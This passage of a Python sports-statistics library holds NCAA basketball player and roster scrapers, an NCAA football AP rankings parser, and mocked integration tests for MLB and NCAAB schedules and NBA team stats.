most_recent_season try: all_stats_dict['career']['data'] += str(next(career_stats)) except KeyError: all_stats_dict['career'] = {'data': str(next(career_stats))} return all_stats_dict def _combine_all_stats(self, player_info): """ Pull stats from all tables into single data structure. Pull the stats from all of the requested tables into a dictionary that is separated by season to allow easy queries of the player's stats for each season. Parameters ---------- player_info : PyQuery object A PyQuery object containing all of the stats information for the requested player. Returns ------- dictionary Returns a dictionary where all stats from each table are combined by season to allow easy queries by year. """ all_stats_dict = {} for table_id in ['players_totals', 'players_advanced']: table_items = utils._get_stats_table(player_info, 'table#%s' % table_id) career_items = utils._get_stats_table(player_info, 'table#%s' % table_id, footer=True) all_stats_dict = self._combine_season_stats(table_items, career_items, all_stats_dict) return all_stats_dict def _parse_player_information(self, player_info, field): """ Parse general player information. Parse general player information such as height and weight. The attribute for the requested field will be set with the value prior to returning. Parameters ---------- player_info : PyQuery object A PyQuery object containing the HTML from the player's stats page. field : string A string of the attribute to parse, such as 'weight'. """ short_field = str(field)[1:] value = utils._parse_field(PLAYER_SCHEME, player_info, short_field) setattr(self, field, value) def _parse_player_position(self, player_info): """ Parse the player's position. The player's position isn't contained within a unique tag and the player's meta information should be iterated through until 'Position' is found as it contains the desired text. Parameters ---------- player_info : PyQuery object A PyQuery object of the player's information on the HTML stats page. Returns ------- string Returns a string of the player's position, such as 'Guard'. """ for section in player_info('div#meta p').items(): if 'Position' in str(section): return section.text().replace('Position: ', '') def _parse_conference(self, stats): """ Parse the conference abbreviation for the player's team. The conference abbreviation is embedded within the conference name tag and should be special-parsed to extract it. Parameters ---------- stats : PyQuery object A PyQuery object containing the HTML from the player's stats page. Returns ------- string Returns a string of the conference abbreviation, such as 'big-12'. """ conference_tag = stats(PLAYER_SCHEME['conference']) conference = re.sub(r'.*/cbb/conferences/', '', str(conference_tag('a'))) conference = re.sub(r'/.*', '', conference) return conference def _parse_team_abbreviation(self, stats): """ Parse the team abbreviation. The team abbreviation is embedded within the team name tag and should be special-parsed to extract it. Parameters ---------- stats : PyQuery object A PyQuery object containing the HTML from the player's stats page. Returns ------- string Returns a string of the team's abbreviation, such as 'PURDUE' for the Purdue Boilermakers. """ team_tag = stats(PLAYER_SCHEME['team_abbreviation']) team = re.sub(r'.*/cbb/schools/', '', str(team_tag('a'))) team = re.sub(r'/.*', '', team) return team def _parse_player_data(self): """ Parse all player information and set attributes. Pull the player's HTML stats page and go through each class attribute to parse the data from the HTML page and set attribute value with the result. """ player_info = self._retrieve_html_page() all_stats_dict = self._combine_all_stats(player_info) for field in self.__dict__: short_field = str(field)[1:] if short_field == 'player_id' or \ short_field == 'index' or \ short_field == 'most_recent_season': continue if short_field == 'name' or \ short_field == 'weight' or \ short_field == 'height': self._parse_player_information(player_info, field) continue if short_field == 'position': value = self._parse_player_position(player_info) setattr(self, field, value) continue field_stats = [] for year, data in all_stats_dict.items(): stats = pq(data['data']) if short_field == 'conference': value = self._parse_conference(stats) elif short_field == 'team_abbreviation': value = self._parse_team_abbreviation(stats) else: value = utils._parse_field(PLAYER_SCHEME, stats, short_field) field_stats.append(value) setattr(self, field, field_stats) def _find_initial_index(self): """ Find the index of career stats. When the Player class is instantiated, the default stats to pull are the player's career stats. Upon being called, the index of the 'Career' element should be the index value. """ index = 0 for season in self._season: if season == 'Career': self._index = index break index += 1 def __call__(self, requested_season=''): """ Specify a different season to pull stats from. A different season can be requested by passing the season string, such as '2017-18' to the class instance. Parameters ---------- requested_season : string (optional) A string of the requested season to query, such as '2017-18'. If left blank or 'Career' is passed, the career stats will be used for stats queries. Returns ------- Player class instance Returns the class instance with the updated stats being referenced. """ if requested_season.lower() == 'career' or \ requested_season == '': requested_season = 'Career' index = 0 for season in self._season: if season == requested_season: self._index = index break index += 1 return self def _dataframe_fields(self): """ Creates a dictionary of all fields to include with DataFrame. With the result of the calls to class properties changing based on the class index value, the dictionary should be regenerated every time the index is changed when the dataframe property is requested. Returns ------- dictionary Returns a dictionary where the keys are the shortened ``string`` attribute names and the values are the actual value for each attribute for the specified index. """ fields_to_include = { 'assist_percentage': self.assist_percentage, 'assists': self.assists, 'block_percentage': self.block_percentage, 'blocks': self.blocks, 'box_plus_minus': self.box_plus_minus, 'conference': self.conference, 'defensive_box_plus_minus': self.defensive_box_plus_minus, 'defensive_rebound_percentage': self.defensive_rebound_percentage, 'defensive_rebounds': self.defensive_rebounds, 'defensive_win_shares': self.defensive_win_shares, 'effective_field_goal_percentage': self.effective_field_goal_percentage, 'field_goal_attempts': self.field_goal_attempts, 'field_goal_percentage': self.field_goal_percentage, 'field_goals': self.field_goals, 'free_throw_attempt_rate': self.free_throw_attempt_rate, 'free_throw_attempts': self.free_throw_attempts, 'free_throw_percentage': self.free_throw_percentage, 'free_throws': self.free_throws, 'games_played': self.games_played, 'games_started': self.games_started, 'height': self.height, 'minutes_played': self.minutes_played, 'offensive_box_plus_minus': self.offensive_box_plus_minus, 'offensive_rebound_percentage': self.offensive_rebound_percentage, 'offensive_rebounds': self.offensive_rebounds, 'offensive_win_shares': self.offensive_win_shares, 'personal_fouls': self.personal_fouls, 'player_efficiency_rating': self.player_efficiency_rating, 'player_id': self.player_id, 'points': self.points, 'points_produced': self.points_produced, 'position': self.position, 'steal_percentage': self.steal_percentage, 'steals': self.steals, 'team_abbreviation': self.team_abbreviation, 'three_point_attempt_rate': self.three_point_attempt_rate, 'three_point_attempts': self.three_point_attempts, 'three_point_percentage': self.three_point_percentage, 'three_pointers': self.three_pointers, 'total_rebound_percentage': self.total_rebound_percentage, 'total_rebounds': self.total_rebounds, 'true_shooting_percentage': self.true_shooting_percentage, 'turnover_percentage': self.turnover_percentage, 'turnovers': self.turnovers, 'two_point_attempts': self.two_point_attempts, 'two_point_percentage': self.two_point_percentage, 'two_pointers': self.two_pointers, 'usage_percentage': self.usage_percentage, 'weight': self.weight, 'win_shares': self.win_shares, 'win_shares_per_40_minutes': self.win_shares_per_40_minutes, } return fields_to_include @property def dataframe(self): """ Returns a ``pandas DataFrame`` containing all other relevant class properties and values where each index is a different season plus the career stats. """ temp_index = self._index rows = [] indices = [] for season in self._season: self._index = self._season.index(season) rows.append(self._dataframe_fields()) indices.append(season) self._index = temp_index return pd.DataFrame(rows, index=[indices]) @property def player_id(self): """ Returns a ``string`` of the player's ID on sports-reference, such as 'carsen-edwards-1' for <NAME>. """ return self._player_id @property def season(self): """ Returns a ``string`` of the season in the format 'YYYY-YY', such as '2017-18'. If no season was requested, the career stats will be returned for the player and the season will default to 'Career'. """ return self._season[self._index] @property def conference(self): """ Returns a ``string`` of the abbreviation for the conference the team participated in for the requested season. """ return self._conference[self._index] @property def name(self): """ Returns a ``string`` of the players name, such as '<NAME>'. """ return self._name @_most_recent_decorator def team_abbreviation(self): """ Returns a ``string`` of the abbrevation for the team the player plays for, such as 'PURDUE' for Carsen Edwards. """ return self._team_abbreviation @property def position(self): """ Returns a ``string`` constant of the player's primary position. """ return self._position @property def height(self): """ Returns a ``string`` of the player's height in the format "feet-inches". """ return self._height @property def weight(self): """ Returns an ``int`` of the player's weight in pounds. """ return int(self._weight.replace('lb', '')) @_int_property_decorator def games_played(self): """ Returns an ``int`` of the number of games the player participated in. """ return self._games_played @_int_property_decorator def games_started(self): """ Returns an ``int`` of the number of games the player started. """ return self._games_started @_int_property_decorator def minutes_played(self): """ Returns an ``int`` of the total number of minutes the player played. """ return self._minutes_played @_int_property_decorator def field_goals(self): """ Returns an ``int`` of the total number of field goals the player scored. """ return self._field_goals @_int_property_decorator def field_goal_attempts(self): """ Returns an ``int`` of the total number of field goals the player attempted during the season. """ return self._field_goal_attempts @_float_property_decorator def field_goal_percentage(self): """ Returns a ``float`` of the player's field goal percentage during the season. Percentage ranges from 0-1. """ return self._field_goal_percentage @_int_property_decorator def three_pointers(self): """ Returns an ``int`` of the total number of three point field goals the player made. """ return self._three_pointers @_int_property_decorator def three_point_attempts(self): """ Returns an ``int`` of the total number of three point field goals the player attempted during the season. """ return self._three_point_attempts @_float_property_decorator def three_point_percentage(self): """ Returns a ``float`` of the player's three point field goal percentage during the season. Percentage ranges from 0-1. """ return self._three_point_percentage @_int_property_decorator def two_pointers(self): """ Returns an ``int`` of the total number of two point field goals the player made. """ return self._two_pointers @_int_property_decorator def two_point_attempts(self): """ Returns an ``int`` of the total number of two point field goals the player attempted during the season. """ return self._two_point_attempts @_float_property_decorator def two_point_percentage(self): """ Returns a ``float`` of the player's two point field goal percentage during the season. Percentage ranges from 0-1. """ return self._two_point_percentage @_float_property_decorator def effective_field_goal_percentage(self): """ Returns a ``float`` of the player's field goal percentage while giving extra weight to 3-point field goals. Percentage ranges from 0-1. """ return self._effective_field_goal_percentage @_int_property_decorator def free_throws(self): """ Returns an ``int`` of the total number of free throws the player made during the season. """ return self._free_throws @_int_property_decorator def free_throw_attempts(self): """ Returns an ``int`` of the total number of free throws the player attempted during the season. """ return self._free_throw_attempts @_float_property_decorator def free_throw_percentage(self): """ Returns a ``float`` of the player's free throw percentage during the season. Percentage ranges from 0-1. """ return self._free_throw_percentage @_int_property_decorator def offensive_rebounds(self): """ Returns an ``int`` of the total number of offensive rebounds the player grabbed during the season. """ return self._offensive_rebounds @_int_property_decorator def defensive_rebounds(self): """ Returns an ``int`` of the total number of defensive rebounds the player grabbed during the season. """ return self._defensive_rebounds @_int_property_decorator def total_rebounds(self): """ Returns an ``int`` of the total number of offensive and defensive rebounds the player grabbed during the season. """ return self._total_rebounds @_int_property_decorator def assists(self): """ Returns an ``int`` of the total number of assists the player tallied during the season. """ return self._assists @_int_property_decorator def steals(self): """ Returns an ``int`` of the total number of steals the player tallied during the season. """ return self._steals @_int_property_decorator def blocks(self): """ Returns an ``int`` of the total number of shots the player blocked during the season. """ return self._blocks @_int_property_decorator def turnovers(self): """ Returns an ``int`` of the total number of times the player turned the ball over during the season for any reason. """ return self._turnovers @_int_property_decorator def personal_fouls(self): """ Returns an ``int`` of the total number of personal fouls the player committed during the season. """ return self._personal_fouls @_int_property_decorator def points(self): """ Returns an ``int`` of the total number of points the player scored during the season. """ return self._points @_float_property_decorator def player_efficiency_rating(self): """ Returns a ``float`` of the player's efficiency rating which represents the player's relative production level. An average player in the league has an efficiency rating of 15. """ return self._player_efficiency_rating @_float_property_decorator def true_shooting_percentage(self): """ Returns a ``float`` of the player's true shooting percentage which takes into account two and three pointers as well as free throws. Percentage ranges from 0-1. """ return self._true_shooting_percentage @_float_property_decorator def three_point_attempt_rate(self): """ Returns a ``float`` of the percentage of field goals that are shot from beyond the 3-point arc. Percentage ranges from 0-1. """ return self._three_point_attempt_rate @_float_property_decorator def free_throw_attempt_rate(self): """ Returns a ``float`` of the number of free throw attempts per field goal attempt. """ return self._free_throw_attempt_rate @_int_property_decorator def points_produced(self): """ Returns an ``int`` of the number of offensive points the player produced. """ return self._points_produced @_float_property_decorator def offensive_rebound_percentage(self): """ Returns a ``float`` of the percentage of available offensive rebounds the player grabbed. Percentage ranges from 0-100. """ return self._offensive_rebound_percentage @_float_property_decorator def defensive_rebound_percentage(self): """ Returns a ``float`` of the percentage of available defensive rebounds the player grabbed. Percentage ranges from 0-100. """ return self._defensive_rebound_percentage @_float_property_decorator def total_rebound_percentage(self): """ Returns a ``float`` of the percentage of available rebounds the player grabbed, both offensive and defensive. Percentage ranges from 0-100. """ return self._total_rebound_percentage @_float_property_decorator def assist_percentage(self): """ Returns a ``float`` of the percentage of field goals the player assisted while on the floor. Percentage ranges from 0-100. """ return self._assist_percentage @_float_property_decorator def steal_percentage(self): """ Returns a ``float`` of the percentage of defensive possessions that ended with the player stealing the ball while on the floor. Percentage ranges from 0-100. """ return self._steal_percentage @_float_property_decorator def block_percentage(self): """ Returns a ``float`` of the percentage of opposing two-point field goal attempts that were blocked by the player while on the floor. Percentage ranges from 0-100. """ return self._block_percentage @_float_property_decorator def turnover_percentage(self): """ Returns a ``float`` of the average number of turnovers per 100 possessions by the player. """ return self._turnover_percentage @_float_property_decorator def usage_percentage(self): """ Returns a ``float`` of the percentage of plays the player is involved in while on the floor. Percentage ranges from 0-100. """ return self._usage_percentage @_float_property_decorator def offensive_win_shares(self): """ Returns a ``float`` of the number of wins the player contributed to the team as a result of his offensive plays. """ return self._offensive_win_shares @_float_property_decorator def defensive_win_shares(self): """ Returns a ``float`` of the number of wins the player contributed to the team as a result of his defensive plays. """ return self._defensive_win_shares @_float_property_decorator def win_shares(self): """ Returns a ``float`` of the number of wins the player contributed to the team as a result of his offensive and defensive plays. """ return self._win_shares @_float_property_decorator def win_shares_per_40_minutes(self): """ Returns a ``float`` of the number of wins the player contributed to the team per 40 minutes of playtime. An average player has a contribution of 0.100. """ return self._win_shares_per_40_minutes @_float_property_decorator def offensive_box_plus_minus(self): """ Returns a ``float`` of the number of offensive points per 100 possessions the player contributed in comparison to an average player in the league. """ return self._offensive_box_plus_minus @_float_property_decorator def defensive_box_plus_minus(self): """ Returns a ``float`` of the number of defensive points per 100 possessions the player contributed in comparison to an average player in the league. """ return self._defensive_box_plus_minus @_float_property_decorator def box_plus_minus(self): """ Returns a ``float`` of the total number of points per 100 possessions the player contributed in comparison to an average player in the league. """ return self._box_plus_minus class Roster(object): """ Get stats for all players on a roster. Request a team's roster for a given season and create instances of the Player class for each player, containing a detailed list of the players statistics and information. Parameters ---------- team : string The team's abbreviation, such as 'PURDUE' for the Purdue Boilermakers. year : string (optional) The 4-digit year to pull the roster from, such as '2018'. If left blank, defaults to the most recent season. """ def __init__(self, team, year=None): self._team = team self._players = [] self._find_players(year) def _pull_team_page(self, url): """ Download the team page. Download the requested team's season page and create a PyQuery object. Parameters ---------- url : string A string of the built URL for the requested team and season. Returns ------- PyQuery object Returns a PyQuery object of the team's HTML page. """ try: return pq(url) except HTTPError: return None def _create_url(self, year): """ Build the team URL. Build a URL given a team's abbreviation and the 4-digit year. Parameters ---------- year : string The 4-digit string representing the year to pull the team's roster from. Returns ------- string Returns a string of the team's season page for the requested team and year. """ return ROSTER_URL % (self._team.lower(), year) def _get_id(self, player): """ Parse the player ID. Given a PyQuery object representing a single player on the team roster, parse the player ID and return it as a string. Parameters ---------- player : PyQuery object A PyQuery object representing the player information from the roster table. Returns ------- string Returns a string of the player ID. """ name_tag = player('th[data-stat="player"] a') name = re.sub(r'.*/cbb/players/', '', str(name_tag)) return re.sub(r'\.html.*', '', name) def _find_players(self, year): """ Find all player IDs for the requested team. For the requested team and year (if applicable), pull the roster table and parse the player ID for all players on the roster and create an instance of the Player class for the player. All player instances are added to the 'players' property to get all stats for all players on a team. Parameters ---------- year : string The 4-digit string representing the year to pull the team's roster from. """ if not year: year = utils._find_year_for_season('ncaab') url = self._create_url(year) page = self._pull_team_page(url) if not page: output = ("Can't pull requested team page. Ensure the follow " "URL exists: %s" % url) raise ValueError(output) players = page('table#roster tbody tr').items() for player in players: player_id = self._get_id(player) player_instance = Player(player_id) self._players.append(player_instance) @property def players(self): """ Returns a ``list`` of player instances for each player on the requested team's roster. """ return self._players ``` #### File: sportsreference/ncaaf/rankings.py ```python import re from pyquery import PyQuery as pq from .. import utils from .constants import RANKINGS_SCHEME, RANKINGS_URL from six.moves.urllib.error import HTTPError class Rankings: """ Get all Associated Press (AP) rankings on a week-by-week basis. Grab a list of the rankings published by the Associated Press to easily query the hierarchy of teams each week. The results expose the current and previous rankings as well as the movement for each team in the list. Parameters ---------- year : string (optional) A string of the requested year to pull rankings from. Defaults to the most recent season. """ def __init__(self, year=None): self._rankings = {} self._find_rankings(year) def _pull_rankings_page(self, year): """ Download the rankings page. Download the rankings page for the requested year and create a PyQuery object. Parameters ---------- year : string A string of the requested year to pull rankings from. Returns ------- PyQuery object Returns a PyQuery object of the rankings HTML page. """ try: return pq(RANKINGS_URL % year) except HTTPError: return None def _get_team(self, team): """ Retrieve team's name and abbreviation. The team's name and abbreviation are embedded within the 'school_name' tag and, in the case of the abbreviation, require special parsing as it is located in the middle of a URI. The name and abbreviation are returned for the requested school. Parameters ---------- team : PyQuery object A PyQuery object representing a single row in a table on the rankings page. Returns ------- tuple (string, string) Returns a tuple of two strings where the first string is the team's abbreviation, such as 'PURDUE' and the second string is the team's name, such as 'Purdue'. """ name_tag = team('td[data-stat="school_name"]') abbreviation = re.sub(r'.*/cfb/schools/', '', str(name_tag('a'))) abbreviation = re.sub(r'/.*', '', abbreviation) name = team('td[data-stat="school_name"] a').text() return abbreviation, name def _find_rankings(self, year): """ Retrieve the rankings for each week. Find and retrieve all AP rankings for the requested year and combine them on a per-week basis. Each week contains information about the name, abbreviation, rank, movement, and previous rank for each team as well as the date and week number the results were published on. Parameters ---------- year : string A string of the requested year to pull rankings from. """ if not year: year = utils._find_year_for_season('ncaaf') page = self._pull_rankings_page(year) if not page: output = ("Can't pull rankings page. Ensure the following URL " "exists: %s" % RANKINGS_URL) raise ValueError(output) rankings = page('table#ap tbody tr').items() weekly_rankings = [] week = 0 for team in rankings: if 'class="thead"' in str(team): self._rankings[int(week)] = weekly_rankings weekly_rankings = [] continue abbreviation, name = self._get_team(team) rank = utils._parse_field(RANKINGS_SCHEME, team, 'rank') week = utils._parse_field(RANKINGS_SCHEME, team, 'week') date = utils._parse_field(RANKINGS_SCHEME, team, 'date') previous = utils._parse_field(RANKINGS_SCHEME, team, 'previous') change = utils._parse_field(RANKINGS_SCHEME, team, 'change') if 'decrease' in str(team(RANKINGS_SCHEME['change'])): change = int(change) * -1 elif 'increase' in str(team(RANKINGS_SCHEME['change'])): try: change = int(change) except ValueError: change = 0 else: change = 0 rank_details = { 'abbreviation': abbreviation, 'name': name, 'rank': int(rank), 'week': int(week), 'date': date, 'previous': previous, 'change': change } weekly_rankings.append(rank_details) # Add the final rankings which is not terminated with another header # row and hence will not hit the first if statement in the loop above. self._rankings[int(week)] = weekly_rankings @property def current_extended(self): """ Returns a ``list`` of ``dictionaries`` of the most recent AP rankings. The list is ordered in terms of the ranking so the #1 team will be in the first element and the #25 team will be the last element. Each dictionary has the following structure:: { 'abbreviation': Team's abbreviation, such as 'PURDUE' (str), 'name': Team's full name, such as 'Purdue' (str), 'rank': Team's rank for the current week (int), 'week': Week number for the results, such as 19 (int), 'date': Date the rankings were released, such as '2017-03-01'. Can also be 'Final' for the final rankings or 'Preseason' for preseason rankings (str), 'previous': The team's previous rank, if applicable (str), 'change': The amount the team moved up or down the rankings. Moves up the ladder have a positive number while drops yield a negative number and teams that didn't move have 0 (int) } """ latest_week = max(self._rankings.keys()) ordered_dict = sorted(self._rankings[latest_week], key=lambda k: k['rank']) return ordered_dict @property def current(self): """ Returns a ``dictionary`` of the most recent rankings from the Associated Press where each key is a ``string`` of the team's abbreviation and each value is an ``int`` of the team's rank for the current week. """ rankings_dict = {} for team in self.current_extended: rankings_dict[team['abbreviation']] = team['rank'] return rankings_dict @property def complete(self): """ Returns a ``dictionary`` where each key is a week number as an ``int`` and each value is a ``list`` of ``dictionaries`` containing the AP rankings for each week. Within each list is a dictionary of team information such as name, abbreviation, rank, and more. Note that the list might not necessarily be in the same order as the rankings. The overall dictionary has the following structure:: { week number, ie 16 (int): [ { 'abbreviation': Team's abbreviation, such as 'PURDUE' (str), 'name': Team's full name, such as 'Purdue' (str), 'rank': Team's rank for the current week (int), 'week': Week number for the results, such as 16 (int), 'date': Date the rankings were released, such as '2017-12-03'. Can also be 'Final' for the final rankings or 'Preseason' for preseason rankings (str), 'previous': The team's previous rank, if applicable (str), 'change': The amount the team moved up or down the rankings. Moves up the ladder have a positive number while drops yield a negative number and teams that didn't move have 0 (int) }, ... ], ... } """ return self._rankings ``` #### File: integration/schedule/test_mlb_schedule.py ```python import mock import os import pandas as pd import pytest from datetime import datetime from flexmock import flexmock from sportsreference import utils from sportsreference.constants import AWAY, HOME, LOSS, WIN from sportsreference.mlb.boxscore import Boxscore from sportsreference.mlb.constants import DAY, NIGHT, SCHEDULE_URL from sportsreference.mlb.schedule import Schedule MONTH = 4 YEAR = 2017 NUM_GAMES_IN_SCHEDULE = 162 def read_file(filename): filepath = os.path.join(os.path.dirname(__file__), 'mlb', filename) return open('%s' % filepath, 'r').read() def mock_pyquery(url): class MockPQ: def __init__(self, html_contents): self.status_code = 200 self.html_contents = html_contents self.text = html_contents def __call__(self, div): return read_file('table.html') schedule = read_file('%s-schedule-scores.html' % YEAR) return MockPQ(schedule) class MockDateTime: def __init__(self, year, month): self.year = year self.month = month class TestMLBSchedule: @mock.patch('requests.get', side_effect=mock_pyquery) def setup_method(self, *args, **kwargs): self.results = { 'game': 2, 'boxscore_index': 'TBA/TBA201704040', 'date': 'Tuesday, Apr 4', 'datetime': datetime(2017, 4, 4), 'game_number_for_day': 1, 'location': AWAY, 'opponent_abbr': 'TBR', 'result': WIN, 'runs_scored': 5, 'runs_allowed': 0, 'innings': 9, 'record': '1-1', 'rank': 3, 'games_behind': 0.5, 'winner': 'Sabathia', 'loser': 'Odorizzi', 'save': None, 'game_duration': '3:07', 'day_or_night': NIGHT, 'attendance': 19366, 'streak': '+' } flexmock(Boxscore) \ .should_receive('_parse_game_data') \ .and_return(None) flexmock(utils) \ .should_receive('_todays_date') \ .and_return(MockDateTime(YEAR, MONTH)) self.schedule = Schedule('NYY') def test_mlb_schedule_returns_correct_number_of_games(self): assert len(self.schedule) == NUM_GAMES_IN_SCHEDULE def test_mlb_schedule_returns_requested_match_from_index(self): match_two = self.schedule[1] for attribute, value in self.results.items(): assert getattr(match_two, attribute) == value def test_mlb_schedule_returns_requested_match_from_date(self): match_two = self.schedule(datetime(2017, 4, 4)) for attribute, value in self.results.items(): assert getattr(match_two, attribute) == value def test_mlb_schedule_returns_second_game_in_double_header(self): match_two = self.schedule(datetime(2017, 5, 14), 2) results = { 'game': 35, 'date': 'Sunday, May 14 (2)', 'datetime': datetime(2017, 5, 14), 'game_number_for_day': 2, 'location': HOME, 'opponent_abbr': 'HOU', 'result': LOSS, 'runs_scored': 7, 'runs_allowed': 10, 'innings': 9, 'record': '22-13', 'rank': 1, 'games_behind': -0.5, 'winner': 'Morton', 'loser': 'Tanaka', 'save': None, 'game_duration': '3:49', 'day_or_night': NIGHT, 'attendance': 47883, 'streak': '-' } for attribute, value in results.items(): assert getattr(match_two, attribute) == value def test_mlb_schedule_dataframe_returns_dataframe(self): df = pd.DataFrame([self.results], index=['NYY']) match_two = self.schedule[1] # Pandas doesn't natively allow comparisons of DataFrames. # Concatenating the two DataFrames (the one generated during the test # and the expected one above) and dropping duplicate rows leaves only # the rows that are unique between the two frames. This allows a quick # check of the DataFrame to see if it is empty - if so, all rows are # duplicates, and they are equal. frames = [df, match_two.dataframe] df1 = pd.concat(frames).drop_duplicates(keep=False) assert df1.empty def test_mlb_schedule_dataframe_extended_returns_dataframe(self): df = pd.DataFrame([{'key': 'value'}]) flexmock(Boxscore) \ .should_receive('dataframe') \ .and_return(pd.DataFrame([{'key': 'value'}])) result = self.schedule[1].dataframe_extended frames = [df, result] df1 = pd.concat(frames).drop_duplicates(keep=False) assert df1.empty def test_mlb_schedule_all_dataframe_returns_dataframe(self): flexmock(Boxscore) \ .should_receive('dataframe') \ .and_return(pd.DataFrame([{'key': 'value'}])) result = self.schedule.dataframe.drop_duplicates(keep=False) assert len(result) == NUM_GAMES_IN_SCHEDULE assert set(result.columns.values) == set(self.results.keys()) def test_mlb_schedule_all_dataframe_extended_returns_dataframe(self): flexmock(Boxscore) \ .should_receive('dataframe') \ .and_return(pd.DataFrame([{'key': 'value'}])) result = self.schedule.dataframe_extended assert len(result) == NUM_GAMES_IN_SCHEDULE def test_no_games_for_date_raises_value_error(self): with pytest.raises(ValueError): self.schedule(datetime.now()) ``` #### File: integration/schedule/test_ncaab_schedule.py ```python import mock import os import pandas as pd import pytest from datetime import datetime from flexmock import flexmock from sportsreference import utils from sportsreference.constants import NEUTRAL, REGULAR_SEASON, WIN from sportsreference.ncaab.boxscore import Boxscore from sportsreference.ncaab.constants import SCHEDULE_URL from sportsreference.ncaab.schedule import Schedule MONTH = 11 YEAR = 2017 NUM_GAMES_IN_SCHEDULE = 39 def read_file(filename): filepath = os.path.join(os.path.dirname(__file__), 'ncaab', filename) return open('%s' % filepath, 'r').read() def mock_pyquery(url): class MockPQ: def __init__(self, html_contents): self.status_code = 200 self.html_contents = html_contents self.text = html_contents def __call__(self, div): return read_file('table.html') schedule = read_file('%s-schedule.html' % (YEAR + 1)) return MockPQ(schedule) class MockDateTime: def __init__(self, year, month): self.year = year self.month = month class TestNCAABSchedule: @mock.patch('requests.get', side_effect=mock_pyquery) def setup_method(self, *args, **kwargs): self.results = { 'game': 2, 'boxscore_index': '2017-11-14-21-kansas', 'date': 'Tue, Nov 14, 2017', 'time': '9:30 pm/est', 'datetime': datetime(2017, 11, 14, 21, 30), 'type': REGULAR_SEASON, 'location': NEUTRAL, 'opponent_abbr': 'kentucky', 'opponent_name': 'Kentucky', 'opponent_rank': 7, 'opponent_conference': 'SEC', 'result': WIN, 'points_for': 65, 'points_against': 61, 'overtimes': 0, 'season_wins': 2, 'season_losses': 0, 'streak': 'W 2', 'arena': 'United Center' } flexmock(utils) \ .should_receive('_todays_date') \ .and_return(MockDateTime(YEAR, MONTH)) self.schedule = Schedule('KANSAS') def test_ncaab_schedule_returns_correct_number_of_games(self): assert len(self.schedule) == NUM_GAMES_IN_SCHEDULE def test_ncaab_schedule_returns_requested_match_from_index(self): match_two = self.schedule[1] for attribute, value in self.results.items(): assert getattr(match_two, attribute) == value def test_ncaab_schedule_returns_requested_match_from_date(self): match_two = self.schedule(datetime(2017, 11, 14)) for attribute, value in self.results.items(): assert getattr(match_two, attribute) == value def test_ncaab_schedule_dataframe_returns_dataframe(self): df = pd.DataFrame([self.results], index=['KANSAS']) match_two = self.schedule[1] # Pandas doesn't natively allow comparisons of DataFrames. # Concatenating the two DataFrames (the one generated during the test # and the expected one above) and dropping duplicate rows leaves only # the rows that are unique between the two frames. This allows a quick # check of the DataFrame to see if it is empty - if so, all rows are # duplicates, and they are equal. frames = [df, match_two.dataframe] df1 = pd.concat(frames).drop_duplicates(keep=False) assert df1.empty def test_ncaab_schedule_dataframe_extended_returns_dataframe(self): df = pd.DataFrame([{'key': 'value'}]) flexmock(Boxscore) \ .should_receive('dataframe') \ .and_return(pd.DataFrame([{'key': 'value'}])) result = self.schedule[1].dataframe_extended frames = [df, result] df1 = pd.concat(frames).drop_duplicates(keep=False) assert df1.empty def test_ncaab_schedule_all_dataframe_returns_dataframe(self): flexmock(Boxscore) \ .should_receive('_parse_game_data') \ .and_return(None) flexmock(Boxscore) \ .should_receive('dataframe') \ .and_return(pd.DataFrame([{'key': 'value'}])) result = self.schedule.dataframe.drop_duplicates(keep=False) assert len(result) == NUM_GAMES_IN_SCHEDULE assert set(result.columns.values) == set(self.results.keys()) def test_ncaab_schedule_all_dataframe_extended_returns_dataframe(self): flexmock(Boxscore) \ .should_receive('_parse_game_data') \ .and_return(None) flexmock(Boxscore) \ .should_receive('dataframe') \ .and_return(pd.DataFrame([{'key': 'value'}])) result = self.schedule.dataframe_extended assert len(result) == NUM_GAMES_IN_SCHEDULE def test_no_games_for_date_raises_value_error(self): with pytest.raises(ValueError): self.schedule(datetime.now()) ``` #### File: integration/teams/test_nba_integration.py ```python import mock import os import pandas as pd import pytest from flexmock import flexmock from sportsreference import utils from sportsreference.nba.constants import SEASON_PAGE_URL from sportsreference.nba.teams import Teams MONTH = 1 YEAR = 2017 def read_file(filename): filepath = os.path.join(os.path.dirname(__file__), 'nba_stats', filename) return open('%s' % filepath, 'r').read() def mock_pyquery(url): class MockPQ: def __init__(self, html_contents): self.status_code = 200 self.html_contents = html_contents self.text = html_contents def __call__(self, div): if div == 'div#all_team-stats-base': return read_file('%s_team.html' % YEAR) else: return read_file('%s_opponent.html' % YEAR) html_contents = read_file('NBA_%s.html' % YEAR) return MockPQ(html_contents) class MockDateTime: def __init__(self, year, month): self.year = year self.month = month class TestNBAIntegration: @mock.patch('requests.get', side_effect=mock_pyquery) def setup_method(self, *args, **kwargs): self.results = { 'rank': 26, 'abbreviation': 'DET', 'name': '<NAME>', 'games_played': 82, 'minutes_played': 19805, 'field_goals': 3269, 'field_goal_attempts': 7282, 'field_goal_percentage': .449, 'three_point_field_goals': 631, 'three_point_field_goal_attempts': 1915, 'three_point_field_goal_percentage': .330, 'two_point_field_goals': 2638, 'two_point_field_goal_attempts': 5367, 'two_point_field_goal_percentage': .492, 'free_throws': 1140, 'free_throw_attempts': 1586, 'free_throw_percentage': .719, 'offensive_rebounds': 908, 'defensive_rebounds': 2838, 'total_rebounds': 3746, 'assists': 1732, 'steals': 574, 'blocks': 310, 'turnovers': 973, 'personal_fouls': 1467, 'points': 8309, 'opp_field_goals': 3144, 'opp_field_goal_attempts': 6830, 'opp_field_goal_percentage': .460, 'opp_three_point_field_goals': 767, 'opp_three_point_field_goal_attempts': 2098, 'opp_three_point_field_goal_percentage': .366, 'opp_two_point_field_goals': 2377, 'opp_two_point_field_goal_attempts': 4732, 'opp_two_point_field_goal_percentage': .502, 'opp_free_throws': 1346, 'opp_free_throw_attempts': 1726, 'opp_free_throw_percentage': .780, 'opp_offensive_rebounds': 656, 'opp_defensive_rebounds': 2861, 'opp_total_rebounds': 3517, 'opp_assists': 1929, 'opp_steals': 551, 'opp_blocks': 339, 'opp_turnovers': 1046, 'opp_personal_fouls': 1434, 'opp_points': 8401 } self.abbreviations = [ 'BOS', 'CLE', 'TOR', 'WAS', 'ATL', 'MIL', 'IND', 'CHI', 'MIA', 'DET', 'CHO', 'NYK', 'ORL', 'PHI', 'BRK', 'GSW', 'SAS', 'HOU', 'LAC', 'UTA', 'OKC', 'MEM', 'POR', 'DEN', 'NOP', 'DAL', 'SAC', 'MIN', 'LAL', 'PHO' ] flexmock(utils) \ .should_receive('_todays_date') \ .and_return(MockDateTime(YEAR, MONTH)) 